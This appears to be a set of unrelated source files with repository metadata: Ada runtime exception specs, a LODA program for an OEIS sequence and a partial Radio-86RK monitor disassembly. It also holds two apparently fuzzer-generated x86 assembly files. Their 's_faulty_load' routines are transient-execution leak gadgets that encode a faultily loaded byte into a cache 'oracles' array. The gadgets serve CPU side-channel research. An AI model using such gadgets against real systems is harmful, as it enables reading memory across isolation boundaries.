<filename>source/zcx/s-unwsea.ads pragma License (Unrestricted); -- runtime unit for ZCX with C.unwind; package System.Unwind.Searching is pragma Preelaborate; function Unwind_RaiseException ( exc : access C.unwind.struct_Unwind_Exception) return C.unwind.Unwind_Reason_Code renames C.unwind.Unwind_RaiseException; function Unwind_ForcedUnwind ( exc : access C.unwind.struct_Unwind_Exception; stop : C.unwind.Unwind_Stop_Fn; stop_argument : C.void_ptr) return C.unwind.Unwind_Reason_Code renames C.unwind.Unwind_ForcedUnwind; -- (a-exexpr-gcc.adb) Others_Value : aliased constant C.char := 'O' with Export, Convention => C, External_Name => "__gnat_others_value"; All_Others_Value : aliased constant C.char := 'A' with Export, Convention => C, External_Name => "__gnat_all_others_value"; -- personality function (raise-gcc.c) function Personality ( ABI_Version : C.signed_int; Phases : C.unwind.Unwind_Action; Exception_Class : C.unwind.Unwind_Exception_Class; Exception_Object : access C.unwind.struct_Unwind_Exception; Context : access C.unwind.struct_Unwind_Context) return C.unwind.Unwind_Reason_Code with Export, Convention => C, External_Name => "__gnat_personality_v0"; pragma Compile_Time_Error ( Personality'Access = C.unwind.Unwind_Personality_Fn'(null), "this expression is always false, for type check purpose"); end System.Unwind.Searching;
rts/gcc-9/adainclude/a-except.ads
letsbyteit/build-avr-ada-toolchain
7
20933
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- A D A . E X C E P T I O N S -- -- -- -- S p e c -- -- -- -- Copyright (C) 1992-2011, Free Software Foundation, Inc. -- -- Copyright (C) 2012, <NAME> -- -- -- -- This specification is derived from the Ada Reference Manual for use with -- -- GNAT. The copyright notice above, and the license provisions that follow -- -- apply solely to the contents of the part following the private keyword. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This version of Ada.Exceptions is a simplified version for use in -- AVR-Ada. It supports simplified exception handling without -- exception propagation, i.e. restriction No_Exception_Propagation -- is set. -- -- You also have to define __gnat_last_chance_handler somewhere in -- your code as the typical binder generated last-chance-handler is -- stripped in AVR-Ada. with System; package Ada.Exceptions is pragma Preelaborate; type Exception_Id is private; pragma Preelaborable_Initialization (Exception_Id); Null_Id : constant Exception_Id; procedure Raise_Exception (E : Exception_Id; Message : String := ""); pragma No_Return (Raise_Exception); -- will always call __gnat_last_chance_handler. The Message -- string should be null terminated for easier debugging. private ------------------ -- Exception_Id -- ------------------ type Exception_Id is access all System.Address; Null_Id : constant Exception_Id := null; pragma Inline_Always (Raise_Exception); end Ada.Exceptions;
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1609.asm
ljhsiun2/medusa
9
92654
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x7eae, %rdi nop nop nop nop cmp %rcx, %rcx mov (%rdi), %si xor %rbp, %rbp lea addresses_WC_ht+0x1e8d4, %r8 nop dec %r15 movb (%r8), %r11b nop nop and %r11, %r11 lea addresses_normal_ht+0x1cbb8, %rcx nop nop inc %r8 vmovups (%rcx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r15 nop inc %rdi lea addresses_WT_ht+0x18080, %rbp clflush (%rbp) nop nop nop inc %rdi movb (%rbp), %cl nop and %r8, %r8 lea addresses_UC_ht+0x11480, %rdi sub %rcx, %rcx mov (%rdi), %r15d nop nop nop nop add $43877, %rsi lea addresses_D_ht+0x14b34, %rbp nop and $13524, %rdi movb (%rbp), %cl sub $38017, %r8 lea addresses_normal_ht+0x944d, %rsi lea addresses_WT_ht+0x1dfc0, %rdi clflush (%rsi) add $8580, %rbp mov $125, %rcx rep movsb cmp $34966, %rbp lea addresses_A_ht+0xcc80, %rcx nop nop add $55482, %r15 vmovups (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rbp and $63586, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %rbp push %rdx push %rsi // Load lea addresses_WC+0x17500, %r15 nop nop nop nop nop xor $33845, %rbp mov (%r15), %r13 nop nop dec %r15 // Store lea addresses_WT+0x1a1c7, %rdx sub $55250, %r10 mov $0x5152535455565758, %r13 movq %r13, (%rdx) nop cmp %r10, %r10 // Load lea addresses_WT+0x19880, %r13 nop nop nop nop nop dec %rdx mov (%r13), %bp nop nop nop nop and $65323, %rbp // Store lea addresses_normal+0x1bf40, %r15 nop cmp %r10, %r10 mov $0x5152535455565758, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%r15) nop nop cmp %rdx, %rdx // Store lea addresses_UC+0x1173d, %r15 add %r10, %r10 movl $0x51525354, (%r15) nop nop nop and %r15, %r15 // Store lea addresses_WT+0xc080, %r10 nop nop nop inc %rsi movw $0x5152, (%r10) nop nop nop and %r14, %r14 // Store lea addresses_RW+0x8b14, %r15 clflush (%r15) nop nop add %rbp, %rbp mov $0x5152535455565758, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%r15) dec %r10 // Faulty Load lea addresses_normal+0x14480, %rbp nop nop nop sub %r10, %r10 movups (%rbp), %xmm6 vpextrq $0, %xmm6, %r13 lea oracles, %rsi and $0xff, %r13 shlq $12, %r13 mov (%rsi,%r13,1), %r13 pop %rsi pop %rdx pop %rbp pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}} {'src': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1964.asm
ljhsiun2/medusa
9
9409
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rax push %rbx push %rcx push %rsi // Faulty Load lea addresses_WC+0xebe1, %rbx nop nop nop nop xor $39072, %r12 mov (%rbx), %rsi lea oracles, %rbx and $0xff, %rsi shlq $12, %rsi mov (%rbx,%rsi,1), %rsi pop %rsi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 0}} <gen_prepare_buffer> {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
oeis/236/A236627.asm
neoneye/loda-programs
11
103748
; A236627: Number of positive integers <= sqrt(n) not dividing n. ; Submitted by <NAME>(w4) ; 0,0,0,0,1,0,1,0,1,1,2,0,2,1,1,1,3,1,3,1,2,2,3,0,3,3,3,2,4,1,4,2,3,3,3,1,5,4,4,2,5,2,5,3,3,4,5,1,5,4,5,4,6,3,5,3,5,5,6,1,6,5,4,4,6,4,7,5,6,4,7,2,7,6,5,5,6,4,7,3,6,7,8,3,7,7,7,5,8,3,7,6,7,7,7,3,8,6,6,5 sub $0,1 mov $2,$0 mov $4,1 lpb $0 add $4,1 min $0,$4 mov $3,$2 dif $3,$0 cmp $3,$2 sub $2,$4 mov $0,$2 add $1,$3 sub $2,$4 lpe mov $0,$1
RK Stuff/m16r86.asm
voidRk86/TCHV-CP-M
3
16836
<reponame>voidRk86/TCHV-CP-M<gh_stars>1-10 ;---------------------------------------------------------------------------- ; Монитор компьютера Радио-86РК ; Исходник взят: ; http://code.google.com/p/radio86/wiki/MonitorDisassembled ; Предназначен для трансляции ассемблером: ; 2500 A.D. 8085 Macro Assembler - Version 4.01a ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Адреса регистров Периферийных БИС ; ППА К580ВВ55 D20 (клавиатура) port_A_kbd .equ 8000h ; Порт A клавиатуры port_B_kbd .equ 8001h ; Порт B клавиатуры port_C_kbd .equ 8002h ; Порт C клавиатуры contr_reg_kbd .equ 8003h ; Регистр управляющего слова клавиатуры ; ППА К580ВВ55 D14 port_A_D14 .equ 0A000h ; Порт A D14 port_B_D14 .equ 0A001h ; Порт B D14 port_C_D14 .equ 0A002h ; Порт C D14 contr_reg_D14 .equ 0A003h ; Регистр управляющего слова D14 ; Контроллер ЭЛТ К580ВГ75 parametrs_VG75 .equ 0C000h ; Регистр параметров control_VG75 .equ 0C001h ; Регистр команд (только запись) status_VG75 .equ 0C001h ; Регистр состояния (только чтение) ; Контроллер ПДП К580ВТ57 addr_ch2_VT57 .equ 0E004h ; Регистр адреса канала 2 contr_ch2_VT57 .equ 0E005h ; Регистр управления канала 2 mode_VT57 .equ 0E008h ; Регистр режима контроллера ПДП ;---------------------------------------------------------------------------- ; Стандартные константы n_byte_of_vmem .equ (78*30) ; Количество байт в видео ОЗУ RST_6_addr .equ 30h ; Адрес перехода по команде RST 6 sinc_byte .equ 0E6h ; Синхробайт для чтения с магнитофона st_const_read .equ 2Ah ; Стандартная константа чтения с маг. st_const_write .equ 1Dh ; Стандартная константа записи на маг. kb_click .equ 5003h ; Щелчек от нажатия клавиши beep .equ 5F0h ; Звуковой сигнал first_kb_delay .equ 224 ; начальная задержка автоповтора клавиатуры stndr_kb_delay .equ 64 ; стандартная задержка автоповтора клавиатуры bounce .equ 21 ; задержка для устранения ; дребезга контактов клавиатуры ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Для трансляции программы Монитор под нужный обьем памяти раскомментируйте ; соответствующую директиву (но не две одновременно). ;---------------------------------------------------------------------------- ; Начало области переменных Монитора для ОЗУ 16кб ; monitor_area: .equ 3600h ;---------------------------------------------------------------------------- ; Начало области переменных Монитора для ОЗУ 32кб monitor_area: .equ 7600h ;---------------------------------------------------------------------------- ; Описание области переменных Монитора memory_top .equ monitor_area-1 ; верхняя граница свободной памяти cursor_addr .equ monitor_area+0 ; адрес знакоместа, где находится курсор cursor_xy .equ monitor_area+2 ; координаты курсора ст.-y мл.-x AR2_seq .equ monitor_area+4 ; номер байта в АР2 последовательности pressed_key .equ monitor_area+5 ; ff - нажата клавиша, 0 - не нажата ruslat_flag .equ monitor_area+6 ; флаг рус/лат 0 - лат, ff - рус keyboard_context .equ monitor_area+9 ; младший байт - код клавиши ; старший байт - счетчик автоповтора released .equ monitor_area+0Bh ; признак, что ни одна клавиша не нажата temp_sp .equ monitor_area+0Dh ; временное хранение указателя стека PC_storage .equ monitor_area+14h ; временное хранение реального адреса останова HL_storage .equ monitor_area+16h ; временное хранение HL BC_storage .equ monitor_area+18h ; временное хранение BC DE_storage .equ monitor_area+1Ah ; временное хранение DE SP_storage .equ monitor_area+1Ch ; временное хранение SP AF_storage .equ monitor_area+1Eh ; временное хранение A и PSW stop_addr .equ monitor_area+23h ; адрес останова отлаживаемой программы byte_in_stop_adr .equ monitor_area+25h ; байт по адресу останова jump_to_go .equ monitor_area+26h ; команда JMP (0C3h) для директивы G one_parametr .equ monitor_area+27h ; Первый параметр в команде two_parametr .equ monitor_area+29h ; Второй параметр в команде three_parametr .equ monitor_area+2Bh ; Третий параметр в команде two_par_present .equ monitor_area+2Dh ; Второй параметр присутствует = ff data_sign .equ monitor_area+2Eh ; Полярность входных данных с магнитофона read_const_mag .equ monitor_area+2Fh ; Константа чтения с магнитофона write_const_mag .equ monitor_area+30h ; Константа записи на магнитофон memlim .equ monitor_area+31h ; верхний адрес свободной памяти kbd_buf .equ monitor_area+33h ; буфер клавиатуры на 32 байта monitor_area_end .equ monitor_area+5Fh ; конец области переменных stack_bott .equ monitor_area+0CFh ; дно стека vid_mem .equ monitor_area+0D0h ; начало видеопамяти end_vid_mem .equ vid_mem+n_byte_of_vmem ; конец видеопамяти ;---------------------------------------------------------------------------- ; Этот адрес используется как обращение к расширению программы Монитор, ; которое так и не было реализовано. Из за упрощенного декодирования ; адреса ПЗУ в реальном РАДИО-86РК с ПЗУ в 2кб переход происходит ; на "холодный" старт Монитора (start) nowhere: .equ 0F000h ; Расширять ПЗУ в РАДИО-86РК можно вниз, вплоть до адреса 0E000h (8кб) ; без каких либо схемотехнических изменений. ;---------------------------------------------------------------------------- .org 0F800h ;---------------------------------------------------------------------------- ; "Холодный" старт программы Монитор start: jmp entry_start ;---------------------------------------------------------------------------- ; Стандартные продпрограммы Монитора getc: jmp entry_getc inpb: jmp entry_inpb putc: jmp entry_putc outb: jmp entry_outb temp: jmp entry_putc kbhit: jmp entry_kbhit hexb: jmp entry_hexb puts: jmp entry_puts scan_kbd: jmp entry_scan_kbd getxy: jmp entry_getxy curc: jmp entry_curc inpblock: jmp entry_inpblock outblock: jmp entry_outblock chksum: jmp entry_chksum video: jmp entry_video getlim: jmp entry_getlim setlim: jmp entry_setlim ;---------------------------------------------------------------------------- ; Инициализация компьютера (Холодный старт) entry_start: mvi a,8Ah ; Настройка ППА клавиатуры sta contr_reg_kbd ; Настраеваем указатель стека lxi sp,stack_bott ; Настраеваем отображение видеопамяти на телевизоре ; Это нужно делать в первую очередь, чтобы начать регенерацию ОЗУ после сброса call entry_video ; Обнуляем массив служебных ячеек Монитора lxi h,monitor_area lxi d,monitor_area_end mvi c,0 call run_F_command ; заполнить с HL по DE байтами из C lxi h,stack_bott shld SP_storage ; Выводим на экран начальное сообщение "РАДИО-86РК" lxi h,Radio call entry_puts ; Настраеваем отображение видеопамяти на телевизоре call entry_video ; Устанавливаем верхнюю границу свободной памяти lxi h,memory_top shld memlim ; Устанавливаем константы по умолчанию для чтения и записи ; на магнитофон lxi h, (st_const_write.shl.8)+st_const_read shld read_const_mag ; Установка кода команды JMP для директивы G mvi a,0C3h sta jump_to_go ;---------------------------------------------------------------------------- ; Выход на промт (Горячий старт) prompt_loop: lxi sp,stack_bott ; Настроить указатель стека lxi h,Prompt call entry_puts ; Выдать на экран промт --> ; Здесь подразумевается, что после выхода из п/п в A всегда будет 0 sta port_C_kbd ; Записать все 0 в порт C клавиатуры dcr a ; Получить в A FFh sta port_C_D14 ; Записать все 1 в порт C дополнительного ППА ;---------------------------------------------------------------------------- ; Консольный процессор Монитора ; Ввод и выполнение команд Монитора ;---------------------------------------------------------------------------- call input_string lxi h,prompt_loop push h lxi h,kbd_buf ; Указатель на символ команды во введенной строке mov a,m ; Поместить его в A ; Выполняем команды без параметров cpi 'X' ; Это команда просмотра и изменения содержимого jz print_regs ; регистров? Если да, то выполнить ее cpi 'U' ; Это резервная команда (?) Если да, то перейти jz nowhere ; на расширение ПЗУ ; Получаем 3 параметра команды: 1 -> HL, 2 -> DE, 3 -> BC ; Если параметра нет, то регистровая пара = 0 push psw call parser_param ; Анализируем параметры lhld three_parametr ; Сохраняем третий параметр mov c,l ; в BC mov b,h lhld two_parametr ; Второй параметр xchg ; в DE lhld one_parametr ; Первый параметр в HL pop psw ;---------------------------------------------------------------------------- ; Выполняем остальные команды ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Команда D (Dump). Печать содержимого памяти в виде дампа cpi 'D' jz run_D_command ;---------------------------------------------------------------------------- ; Команда C (Compare). Сравнение двух областей памяти cpi 'C' jz run_C_command ;---------------------------------------------------------------------------- ; Команда F (Fill). Заполнение области памяти cpi 'F' jz run_F_command ;---------------------------------------------------------------------------- ; Команда S (Search). Поиск в заданной области памяти cpi 'S' jz run_S_command ;---------------------------------------------------------------------------- ; Команда T (Transfer). Пересылка области памяти cpi 'T' jz run_T_command ;---------------------------------------------------------------------------- ; Команда M (Modify). Изменение содержимого памяти cpi 'M' jz run_M_command ;---------------------------------------------------------------------------- ; Команда G (Go). Выполнение программы с заданного адреса cpi 'G' jz run_G_command ;---------------------------------------------------------------------------- ; Команда I (Input). Загрузка программы с магнитофона cpi 'I' jz run_I_command ;---------------------------------------------------------------------------- ; Команда O (Output). Выгрузка программы на магнитофон cpi 'O' jz run_O_command ;---------------------------------------------------------------------------- ; Команда L (literal). Печать содержимого памяти в символьном виде cpi 'L' jz run_L_command ;---------------------------------------------------------------------------- ; Команда R (Read). Загрузка программы с ROM диска дополнительного ППА cpi 'R' jz run_R_command ;---------------------------------------------------------------------------- ; Нераспознанная команда. Переход на расширение Монитора jmp nowhere ;---------------------------------------------------------------------------- ; Удаление предыдущего символа в команде ;---------------------------------------------------------------------------- back_kbd_buf: mvi a,<kbd_buf ; Адрес первого символа ; в буфере строки. cmp l ; Если это первый символ, jz input_next ; то ничего не делать. push h lxi h,BackClr ; Затереть предыдущий call entry_puts ; символ. pop h dcx h ; jmp kbd_buf_loop ;---------------------------------------------------------------------------- ; Ввод строки с клавиатуры. ; Вводим максимум 31 символа с клавиатуры в специальный буфер. ; Особо обрабатываемые клавиши: ; [<-] и [ЗБ] - удаление последнего символа ; [.] - выход на промт ; [ВК] - успешный возврат из п/п ;---------------------------------------------------------------------------- input_string: lxi h,kbd_buf ; указатель на начало буфера строки input_next: mvi b,0 ; признак успешности ввода (?) kbd_buf_loop: call entry_getc ; получить символ с клавиатуры cpi 8 ; это клавиша <- ? jz back_kbd_buf ; если да, то удалить предыдущий символ cpi 7Fh ; это клавиша ЗБ ? jz back_kbd_buf ; если да, то удалить предыдущий символ cnz putc_fromA ; вывести символ в экран mov m,a ; и в буфер строки cpi 0Dh ; это клавиша ВК ? jz out_of_loop ; прекратить ввод cpi '.' ; это точка? jz prompt_loop ; выйти на промт mvi b,0FFh mvi a,<kbd_buf+1Fh ; проверка на заполненность cmp l ; буфера jz fail_exit ; если полон, то ошибка inx h ; переходим к jmp kbd_buf_loop ; следующему символу out_of_loop: mov a,b ; ral lxi d,kbd_buf ; DE - начало буфера mvi b,0 ; ret ;---------------------------------------------------------------------------- ; Вывод строки на экран. ; Указатель на начало строки в HL. ; Строка заканчивается нулевым байтом ;---------------------------------------------------------------------------- entry_puts: mov a,m ; Поместить символ в A ana a ; Это нулевой байт? rz ; Если да, то выйти. call putc_fromA ; Если нет, то вывести на экран, inx h ; перейти к следующему и jmp entry_puts ; продолжить вывод. ;---------------------------------------------------------------------------- ; Анализ параметров команд Монитора parser_param: lxi h,one_parametr ; Обнуляем область параметров lxi d,one_parametr+(2*3) mvi c,0 call run_F_command lxi d,kbd_buf+1 ; Указатель на второй символ call str_to_parametr ; Получаем первый параметр shld one_parametr ; Сохраняем его как первый shld two_parametr ; и второй rc ; если больше ничего, то выходим ; Здесь вводится признак наличия второго параметра. ; Поскольку невведенные параметры у нас = 0, то признак указывает, ; что второй параметр введен и возможно равен нулю mvi a,0FFh ; признак наличия второго параметра sta two_par_present ; сохраняем в служ. ячейке call str_to_parametr ; вводим второй параметр shld two_parametr ; сохраняем его rc ; если больше ничего, то выходим call str_to_parametr ; вводим третий параметр shld three_parametr ; сохраняем его rc ; если больше ничего, то выходим jmp fail_exit ; если 